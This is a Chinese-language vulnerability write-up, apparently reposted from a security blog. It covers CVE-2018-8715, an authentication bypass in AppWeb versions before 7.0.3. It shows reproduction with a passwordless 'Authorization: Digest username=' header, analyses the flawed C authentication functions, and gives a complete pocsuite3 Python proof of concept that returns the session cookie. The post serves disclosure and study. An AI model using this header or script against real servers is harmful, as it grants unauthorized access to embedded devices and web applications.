AppWeb认证绕过漏洞(CVE-2018-8715)

admin 2022年1月6日01:08:26评论92 views字数 6165阅读20分33秒阅读模式

摘要

AppWeb是Embedthis Software LLC公司负责开发维护的一个基于GPL开源协议的嵌入式Web Server。他使用C/C++来编写,能够运行在几乎先进所有流行的操作系统上。当然他最主要的应用场景还是为嵌入式设备提供Web Application容器。

AppWeb可以进行认证配置,其认证方式包括以下三种:

1
2
3
4
5
1、basic 传统HTTP基础认证

2、digest 改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头

3、form 表单认证

漏洞描述

其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接

认证成功,并返回session。

漏洞复现

访问页面如下:

image-20201222103500284

构造的get数据包,加入我们构造的usename字段,注意用户名是已经存在的才可以进行构造

Authorization: Digest username=admin

image-20201222104134406

image-20201222104813555

即可登陆成功

漏洞分析

其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参
数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。

漏洞位置在appweb/paks/http/dist/httpLib.c 2

首先是function authCondition()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/*
This condition is used to implement all user authentication for routes
*/
static int authCondition(HttpConn *conn, HttpRoute *route, HttpRouteOp *op)
{
HttpAuth *auth;
cchar *username, *password;

assert(conn);
assert(route);

auth = route->auth;
if (!auth || !auth->type) {
/* Authentication not required */
return HTTP_ROUTE_OK;
}
if (!httpIsAuthenticated(conn)) {
httpGetCredentials(conn, &username, &password);
if (!httpLogin(conn, username, password)) {
if (!conn->tx->finalized) {
if (auth && auth->type) {
(auth->type->askLogin)(conn);
} else {
httpError(conn, HTTP_CODE_UNAUTHORIZED, "Access Denied, login required");
}
/* Request has been denied and a response generated. So OK to accept this route. */
}
return HTTP_ROUTE_OK;
}
}
if (!httpCanUser(conn, NULL)) {
httpTrace(conn, "auth.check", "error", "msg:'Access denied, user is not authorized for access'");
if (!conn->tx->finalized) {
httpError(conn, HTTP_CODE_FORBIDDEN, "Access denied. User is not authorized for access.");
/* Request has been denied and a response generated. So OK to accept this route. */
}
}
/* OK to accept route. This does not mean the request was authenticated - an error may have been already generated */
return HTTP_ROUTE_OK;
}

这个函数负责调用两个用于认证处理的函数:getCredentialshttpLogin,注意到httpGetCredentials周围缺少检查,这将会在稍后起到作用

httpGetCredentials():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
Get the username and password credentials. If using an in-protocol auth scheme like basic|digest, the
rx->authDetails will contain the credentials and the parseAuth callback will be invoked to parse.
Otherwise, it is expected that "username" and "password" fields are present in the request parameters.
This is called by authCondition which thereafter calls httpLogin
*/
PUBLIC bool httpGetCredentials(HttpConn *conn, cchar **username, cchar **password)
{
HttpAuth *auth;

assert(username);
assert(password);
*username = *password = NULL;

auth = conn->rx->route->auth;
if (!auth || !auth->type) {
return 0;
}
if (auth->type) {
if (conn->authType && !smatch(conn->authType, auth->type->name)) {
if (!(smatch(auth->type->name, "form") && conn->rx->flags & HTTP_POST)) {
/* If a posted form authentication, ignore any basic|digest details in request */
return 0;
}
}
if (auth->type->parseAuth && (auth->type->parseAuth)(conn, username, password) < 0) {
return 0;
}
} else {
*username = httpGetParam(conn, "username", 0);
*password = httpGetParam(conn, "password", 0);
}
return 1;
}

该函数接收两个指向数组的指针用于从请求中解析usernamepassword。既然authCondition没有进行参数检查,那么parseAuth失败也无关紧要。这意味着我们能够插入WWW-Authenticate header或者post任何我们想要的认证数据

httpLogin()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/*
Login the user and create an authenticated session state store
*/
PUBLIC bool httpLogin(HttpConn *conn, cchar *username, cchar *password)
{
HttpRx *rx;
HttpAuth *auth;
HttpSession *session;
HttpVerifyUser verifyUser;

rx = conn->rx;
auth = rx->route->auth;
if (!username || !*username) {
httpTrace(conn, "auth.login.error", "error", "msg:'missing username'");
return 0;
}
if (!auth->store) {
mprLog("error http auth", 0, "No AuthStore defined");
return 0;
}
if ((verifyUser = auth->verifyUser) == 0) {
if (!auth->parent || (verifyUser = auth->parent->verifyUser) == 0) {
verifyUser = auth->store->verifyUser;
}
}
if (!verifyUser) {
mprLog("error http auth", 0, "No user verification routine defined on route %s", rx->route->pattern);
return 0;
}
if (auth->username && *auth->username) {
/* If using auto-login, replace the username */
username = auth->username;
password = 0;
}
if (!(verifyUser)(conn, username, password)) {
return 0;
}
if (!(auth->flags & HTTP_AUTH_NO_SESSION) && !auth->store->noSession) {
if ((session = httpCreateSession(conn)) == 0) {
/* Too many sessions */
return 0;
}
httpSetSessionVar(conn, HTTP_SESSION_USERNAME, username);
httpSetSessionVar(conn, HTTP_SESSION_IP, conn->ip);
}
rx->authenticated = 1;
rx->authenticateProbed = 1;
conn->username = sclone(username);
conn->encoded = 0;
return 1;
}

这一函数会检查username是否为空,当存在session时,password指针可以为空,所以设置空密码指针,即使返回错误,也不会被authCondition检查,允许我们绕过身份验证

image-20201222111637408

用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。

POC编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from collections import OrderedDict
from pocsuite3.api import Output, POCBase, OptString, register_poc, requests

class AppWebPoc(POCBase):
vulID = '003'
version = '1.0'
author = ['ol4three']
vulDate = '2020-12-22'
updateDate = '2020-12-22'
references = ['https://ssd-disclosure.com/ssd-advisory-appweb-authentication-bypass-digest-and-forms/']
name = 'AppWeb CVE-2018-8715'
appPowerLink = 'https://www.embedthis.com/'
appName = 'AppWeb'
appVersion = '<7.0.3'
vulType = 'Login Bypass'
desc = '''
session
'''
pocDesc = '''
pocsuite -r ***.py -u target --verify"
'''
samples = []
install_requires = []


def _options(self):
o = OrderedDict()
o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True)
return o

def _verify(self):
result = {}
payload = self.get_option("username")
#payload = "username={0}".format(self.get_option("username"))
url = self.url
headers={
'Authorization': 'Digest username="' +str(payload) +'"'
}
# proxies={
# 'http':'127.0.0.1:8080',
# 'https':'127.0.0.1:8080'
# }
r = requests.get(url, headers=headers)
if r.status_code == 200:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = url
result['VerifyInfo']['set-cookie'] = r.headers['set-cookie']
return self.parse_output(result)

def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('target is not vulnerable')
return output

def _attack(self):
return self._verify()

register_poc(AppWebPoc)

image-20201222135500449

FROM :ol4three.com | Author:ol4three

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:08:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AppWeb认证绕过漏洞(CVE-2018-8715)http://cn-sec.com/archives/721122.html

发表评论

匿名网友 填写信息